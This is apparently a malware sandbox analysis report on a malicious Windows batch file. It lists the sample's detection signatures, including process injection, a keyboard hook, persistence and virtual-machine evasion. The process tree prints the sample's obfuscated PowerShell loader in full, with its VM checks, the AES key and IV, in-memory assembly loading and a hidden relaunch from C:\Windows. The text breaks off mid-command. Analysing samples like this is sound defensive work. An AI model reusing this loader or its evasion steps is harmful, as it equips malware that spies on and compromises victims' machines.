Edit tour
Windows
Analysis Report
Q5N7WOpk8J.bat
Overview
General Information
| Sample name: | Q5N7WOpk8J.batrenamed because original name is a hash value |
| Original sample name: | 5c6dbf4219fd4e2251de392eb2544581.bat |
| Analysis ID: | 1519360 |
| MD5: | 5c6dbf4219fd4e2251de392eb2544581 |
| SHA1: | 8f79ac10fd2bf6f5324ff9c19f278e3f9d5b4fa3 |
| SHA256: | fd4270f11afee189662bb9bd907f3d732002a44a76ab3c356b50e0e64a4e81b4 |
| Tags: | batuser-abuse_ch |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
.NET source code contains process injector
.NET source code references suspicious native API functions
AI detected suspicious sample
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Creates an autostart registry key pointing to binary in C:\Windows
Creates autostart registry keys with suspicious values (likely registry only malware)
Deletes itself after installation
Found large BAT file
Found suspicious powershell code related to unpacking or dynamic code loading
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs a global keyboard hook
Modifies the context of a thread in another process (thread injection)
Obfuscated command line found
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Powerup Write Hijack DLL
Suspicious command line found
Suspicious powershell command line found
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains capabilities to detect virtual machines
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: Uncommon Svchost Parent Process
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 2936 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\Q5N7W Opk8J.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4808 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
WMIC.exe (PID: 6720 cmdline: wmic diskd rive get M odel MD5: C37F2F4F4B3CD128BDABCAEB2266A785) 
findstr.exe (PID: 5480 cmdline: findstr /i "DADY HAR DDISK QEMU HARDDISK WDS100T2B0 A" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - WMIC.exe (PID: 7228 cmdline:
wmic diskd rive get M anufacture r,Model MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - findstr.exe (PID: 7244 cmdline:
findstr /i /c:"BOCHS _" /c:"BXP C___" /c:" QEMU" /c:" VirtualBox " MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - cmd.exe (PID: 7340 cmdline:
cmd.exe /c echo func tion nTIwb ($oVJGU){ $dmvwb=[Sy stem.Secur ity.Crypto graphy.Aes ]::Create( ); $dmvwb. Mode=[Syst em.Securit y.Cryptogr aphy.Ciphe rMode]::CB C; $dmvwb. Padding=[S ystem.Secu rity.Crypt ography.Pa ddingMode] ::PKCS7; $ dmvwb.Key= [System.Co nvert]::Fr omBase64St ring('q/ep IFuUiTeZPv uXMOrJUZKE DTokijbasP qPVgeuzIY= '); $dmvwb .IV=[Syste m.Convert] ::FromBase 64String(' 2eFTLv8XY+ wg1Xp7cznz rQ=='); $b bzAD=$dmvw b.CreateDe cryptor(); $hLXQZ=$b bzAD.Trans formFinalB lock($oVJG U, 0, $oVJ GU.Length) ; $bbzAD.D ispose(); $dmvwb.Dis pose(); $h LXQZ;}func tion hCkUZ ($oVJGU){ Invoke-Exp ression '$ VRbTd=New- Object oni Soniyoniso nitonieoni moni.oniIo niOoni.oni Monieonimo nioonironi yStonironi eoniamoni( ,$oVJGU);' .Replace(' oni', ''); Invoke-Ex pression ' $GbZBJ=New -Object on iSoniyonis onitonieon im.oniIoni Ooni.Monie onimonioon ironiyoniS onitoniron ieoniaonim oni;'.Repl ace('oni', ''); Invo ke-Express ion '$qvkj b=New-Obje ct Soniyon isonitonie onimoni.on iIoniOoni. oniConioon imoniponir onieonisso niiooninon i.GoniZion iponiSonit onironieon iaonimoni( $VRbTd, [o niIoniOoni .oniConioo nimoniponi ronieoniso nisoniioni ooninoni.o niConiooni moniponiro nieonisoni soniionioo ninoniMoni oonidonieo ni]::Donie coniomonip roniesonis );'.Replac e('oni', ' '); $qvkjb .CopyTo($G bZBJ); $qv kjb.Dispos e(); $VRbT d.Dispose( ); $GbZBJ. Dispose(); $GbZBJ.To Array();}f unction uF DAH($oVJGU ,$FJSeL){ Invoke-Exp ression '$ qHIdZ=oni[ oniSoniyon isonitonie onimoni.on iRonieonif onilonieon iconitonii oniooninon i.oniAonis onisonieon imonibonil oniyoni]on i::oniLoni ooniaonido ni([byte[] ]$oVJGU);' .Replace(' oni', ''); Invoke-Ex pression ' $eNoQZ=$qH IdZ.oniEon inonitonir oniyoniPon iooniionin onitoni;'. Replace('o ni', ''); Invoke-Exp ression '$ eNoQZ.oniI oninonivon ioonikonie oni(oni$on inoniuonil oniloni, $ FJSeL)oni; '.Replace( 'oni', '') ;}$DNWGy = 'C:\Users \user\Desk top\Q5N7WO pk8J.bat'; $host.UI.R awUI.Windo wTitle = $ DNWGy;$YMR TG=[System .IO.File]: :ReadAllTe xt($DNWGy) .Split([En vironment] ::NewLine) ;foreach ( $kGLHr in $YMRTG) { if ($kGLHr .StartsWit h(':: ')) { $qObbT=$ kGLHr.Subs tring(3); break; }}$ UCMwf=[str ing[]]$qOb bT.Split(' \');Invoke -Expressio n '$oOAsD= hCkUZ (nTI wb (oni[on iConioonin onivonieon ironitoni] oni:oni:on iFonironio onimoniBon iaonisonie oni6oni4on iSonitonir oniioninon igoni($UCM wf[0])));' .Replace(' oni', ''); Invoke-Exp ression '$ OwBFa=hCkU Z (nTIwb ( oni[oniCon iooninoniv onieoniron itoni]oni: oni:oniFon ironioonim oniBoniaon isonieoni6 oni4oniSon itonironii oninonigon i($UCMwf[1 ])));'.Rep lace('oni' , '');uFDA H $oOAsD $ null;uFDAH $OwBFa (, [string[]] ('')); MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) 
powershell.exe (PID: 7348 cmdline: powershell .exe -Wind owStyle Hi dden MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7744 cmdline:
"C:\Window s\System32 \cmd.exe" /C echo St art-Proces s -FilePat h 'C:\Wind ows\$cnt-o nimai2\$cn t-CO2.bat' -WindowSt yle Hidden | powersh ell.exe -W indowStyle Hidden MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7752 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7792 cmdline:
C:\Windows \system32\ cmd.exe /S /D /c" ec ho Start-P rocess -Fi lePath 'C: \Windows\$ cnt-onimai 2\$cnt-CO2 .bat' -Win dowStyle H idden " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - powershell.exe (PID: 7808 cmdline:
powershell .exe -Wind owStyle Hi dden MD5: 04029E121A0CFA5991749937DD22A1D9) - cmd.exe (PID: 7896 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\Wind ows\$cnt-o nimai2\$cn t-CO2.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7904 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 7940 cmdline:
wmic diskd rive get M odel MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - findstr.exe (PID: 7956 cmdline:
findstr /i "DADY HAR DDISK QEMU HARDDISK WDS100T2B0 A" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - WMIC.exe (PID: 7992 cmdline:
wmic diskd rive get M anufacture r,Model MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - findstr.exe (PID: 8012 cmdline:
findstr /i /c:"BOCHS _" /c:"BXP C___" /c:" QEMU" /c:" VirtualBox " MD5: 804A6AE28E88689E0CF1946A6CB3FEE5) - cmd.exe (PID: 8076 cmdline:
cmd.exe /c echo func tion nTIwb ($oVJGU){ $dmvwb=[Sy stem.Secur ity.Crypto graphy.Aes ]::Create( ); $dmvwb. Mode=[Syst em.Securit y.Cryptogr aphy.Ciphe rMode]::CB C; $dmvwb. Padding=[S ystem.Secu rity.Crypt ography.Pa ddingMode] ::PKCS7; $ dmvwb.Key= [System.Co nvert]::Fr omBase64St ring('q/ep IFuUiTeZPv uXMOrJUZKE DTokijbasP qPVgeuzIY= '); $dmvwb .IV=[Syste m.Convert] ::FromBase 64String(' 2eFTLv8XY+ wg1Xp7cznz rQ=='); $b bzAD=$dmvw b.CreateDe cryptor(); $hLXQZ=$b bzAD.Trans formFinalB lock($oVJG U, 0, $oVJ GU.Length) ; $bbzAD.D ispose(); $dmvwb.Dis pose(); $h LXQZ;}func tion hCkUZ ($oVJGU){ Invoke-Exp ression '$ VRbTd=New- Object oni Soniyoniso nitonieoni moni.oniIo niOoni.oni Monieonimo nioonironi yStonironi eoniamoni( ,$oVJGU);' .Replace(' oni', ''); Invoke-Ex pression ' $GbZBJ=New -Object on iSoniyonis onitonieon im.oniIoni Ooni.Monie onimonioon ironiyoniS onitoniron ieoniaonim oni;'.Repl ace('oni', ''); Invo ke-Express ion '$qvkj b=New-Obje ct Soniyon isonitonie onimoni.on iIoniOoni. oniConioon imoniponir onieonisso niiooninon i.GoniZion iponiSonit onironieon iaonimoni( $VRbTd, [o niIoniOoni .oniConioo nimoniponi ronieoniso nisoniioni ooninoni.o niConiooni moniponiro nieonisoni soniionioo ninoniMoni oonidonieo ni]::Donie coniomonip roniesonis );'.Replac e('oni', ' '); $qvkjb .CopyTo($G bZBJ); $qv kjb.Dispos e(); $VRbT d.Dispose( ); $GbZBJ. Dispose(); $GbZBJ.To Array();}f unction uF DAH($oVJGU ,$FJSeL){ Invoke-Exp ression '$ qHIdZ=oni[ oniSoniyon isonitonie onimoni.on iRonieonif onilonieon iconitonii oniooninon i.oniAonis onisonieon imonibonil oniyoni]on i::oniLoni ooniaonido ni([byte[] ]$oVJGU);' .Replace(' oni', ''); Invoke-Ex pression ' $eNoQZ=$qH IdZ.oniEon inonitonir oniyoniPon iooniionin onitoni;'. Replace('o ni', ''); Invoke-Exp ression '$ eNoQZ.oniI oninonivon ioonikonie oni(oni$on inoniuonil oniloni, $ FJSeL)oni; '.Replace( 'oni', '') ;}$DNWGy = 'C:\Windo ws\$cnt-on imai2\$cnt -CO2.bat'; $host.UI.R awUI.Windo wTitle = $ DNWGy;$YMR TG=[System .IO.File]: :ReadAllTe xt($DNWGy) .Split([En vironment] ::NewLine) ;foreach ( $kGLHr in $YMRTG) { if ($kGLHr .StartsWit h(':: ')) { $qObbT=$ kGLHr.Subs tring(3); break; }}$ UCMwf=[str ing[]]$qOb bT.Split(' \');Invoke -Expressio n '$oOAsD= hCkUZ (nTI wb (oni[on iConioonin onivonieon ironitoni] oni:oni:on iFonironio onimoniBon iaonisonie oni6oni4on iSonitonir oniioninon igoni($UCM wf[0])));' .Replace(' oni', ''); Invoke-Exp ression '$ OwBFa=hCkU Z (nTIwb ( oni[oniCon iooninoniv onieoniron itoni]oni: oni:oniFon ironioonim oniBoniaon isonieoni6 oni4oniSon itonironii oninonigon i($UCMwf[1 ])));'.Rep lace('oni' , '');uFDA H $oOAsD $ null;uFDAH $OwBFa (,